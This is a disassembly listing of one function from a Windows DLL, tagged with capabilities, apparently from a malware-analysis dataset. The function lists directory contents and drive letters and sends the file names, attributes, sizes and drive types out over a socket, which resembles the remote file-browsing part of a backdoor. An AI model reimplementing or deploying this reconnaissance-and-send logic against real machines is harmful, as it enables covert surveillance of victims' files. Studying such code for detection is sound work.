Function at 0x1800016b0
Capabilities:
Enumerate files on windows
Get disk information
Send data
Send data on socket
Set socket configuration

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x2d8]
sub rsp, 0x3d8
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
mov rbx, rdx
mov qword [rsp + 0x20], rcx
mov edx, 0xff
mov r15, rcx
lea rcx, [rsp + 0x40]
lea r8d, [rdx + 0x31]
call fcn.1800388f0
test rbx, rbx
je 0x1800019b7
mov edx, 0x104
mov rcx, rbx
call fcn.18001bafc
test rax, rax
je 0x1800019b7
mov qword [rsp + 0x420], r12
lea rdx, str._s.
xor edi, edi
mov qword [rsp + 0x3d0], r13
mov r8, rbx
lea rcx, [rbp + 0x1b0]
mov r12d, edi
call fcn.1800029c0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x1800017ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rsi, qword [r15]
lea r8, [rsp + 0x30]
mov rcx, rsi
mov dword [rsp + 0x28], eax
mov edx, 0x8004667e
mov dword [rsp + 0x30], edi
lea ebx, [rdi + 4]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
nop word [rax + rax]
movsxd rax, edi
lea rdx, [rsp + 0x28]
add rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1800017b6
add edi, eax
sub ebx, eax
test ebx, ebx
jg 0x180001790
mov eax, 0xffffffff
mov r12, qword [rsp + 0x420]
mov r13, qword [rsp + 0x3d0]
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.180011100
add rsp, 0x3d8
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rcx, [r15 + 0x10]
mov r8, rbx
lea rdx, [0x1800459a0]
call fcn.1800029c0
mov r14, qword [r15]
lea r8, [rsp + 0x28]
mov rcx, r14
mov dword [rsp + 0x30], edi
mov edx, 0x8004667e
mov dword [rsp + 0x28], edi
mov ebx, 4
mov esi, edi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
movsxd rax, esi
lea rdx, [rsp + 0x30]
add rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x180001850
add esi, eax
sub ebx, eax
test ebx, ebx
jg 0x180001822
nop dword [rax + rax]
lea rdx, [0x1800459a4]
lea rcx, [rbp + 0x9c]
call fcn.18001ba2c
test eax, eax
je 0x180001935
mov rax, qword [rbp + 0x74]
mov ecx, dword [rbp + 0x70]
mov qword [rsp + 0x44], rax
mov rax, qword [rbp + 0x7c]
mov qword [rsp + 0x4c], rax
mov rax, qword [rbp + 0x84]
mov qword [rsp + 0x54], rax
mov dword [rsp + 0x40], ecx
test cl, 0x10
je 0x1800018a0
mov qword [rsp + 0x60], 0xffffffffffffffff
jmp 0x1800018b8
mov ecx, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x90]
shl rcx, 0x20
add rcx, rax
mov qword [rsp + 0x60], rcx
lea r8, [rbp + 0x9c]
lea rdx, [0x180045950]
lea rcx, [rsp + 0x68]
call fcn.1800029c0
movsxd r15, eax
lea r8, [rsp + 0x28]
mov rax, qword [rsp + 0x20]
mov edx, 0x8004667e
mov esi, edi
mov dword [rsp + 0x28], edi
lea ebx, [r15 + 0x2d]
mov r14, qword [rax]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test ebx, ebx
jle 0x180001926
nop dword [rax]
movsxd rcx, esi
lea rdx, [rsp + 0x40]
add rdx, rcx
xor r9d, r9d
mov rcx, r14
mov r8d, ebx
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x180001926
add esi, eax
sub ebx, eax
test ebx, ebx
jg 0x180001900
lea rcx, [r15 + 0x2d]
movsxd rax, esi
cmp rax, rcx
jne 0x18000194a
inc r12d
lea rdx, [rbp + 0x70]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180001850
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x130
call fcn.1800388f0
mov rax, qword [rsp + 0x20]
lea r8, [rsp + 0x28]
mov edx, 0x8004667e
mov dword [rsp + 0x28], edi
mov ebx, 0x2c
mov rsi, qword [rax]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
movsxd rax, edi
lea rdx, [rsp + 0x40]
add rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1800019a6
add edi, eax
sub ebx, eax
test ebx, ebx
jg 0x180001980
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, r12d
jmp 0x1800017bb
mov r14, qword [r15]
lea r8, [rsp + 0x28]
xor edi, edi
mov edx, 0x8004667e
mov rcx, r14
mov dword [rsp + 0x30], edi
mov esi, edi
mov dword [rsp + 0x28], edi
lea ebx, [rdi + 4]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
nop dword [rax]
movsxd rax, esi
lea rdx, [rsp + 0x30]
add rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x180001a06
add esi, eax
sub ebx, eax
test ebx, ebx
jg 0x1800019e0
mov r14d, edi
nop dword [rax]
lea r8d, [r14 + 0x41]
lea rdx, [0x180045994]
lea rcx, [rsp + 0x68]
call fcn.1800029c0
lea rcx, [rsp + 0x68]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
lea ecx, [rax - 1]
test ecx, 0xfffffffb
je 0x180001a9b
mov r15, qword [r15]
lea r8, [rsp + 0x28]
mov rcx, r15
mov dword [rsp + 0x40], eax
mov edx, 0x8004667e
mov dword [rsp + 0x28], edi
add ebx, 0x2d
mov esi, edi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test ebx, ebx
jle 0x180001a96
nop dword [rax]
nop dword [rax + rax]
movsxd rax, esi
lea rdx, [rsp + 0x40]
add rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x180001a96
add esi, eax
sub ebx, eax
test ebx, ebx
jg 0x180001a70
mov r15, qword [rsp + 0x20]
inc r14d
cmp r14d, 0x1a
jl 0x180001a10
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x130
call fcn.1800388f0
mov rsi, qword [r15]
lea r8, [rsp + 0x28]
mov rcx, rsi
mov dword [rsp + 0x28], edi
mov edx, 0x8004667e
mov ebx, 0x2c
call qword [sym.imp.WS2_32.dll_ioctlsocket]
nop dword [rax]
movsxd rax, edi
lea rdx, [rsp + 0x40]
add rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x180001b06
add edi, eax
sub ebx, eax
test ebx, ebx
jg 0x180001ae0
xor eax, eax
jmp 0x1800017cb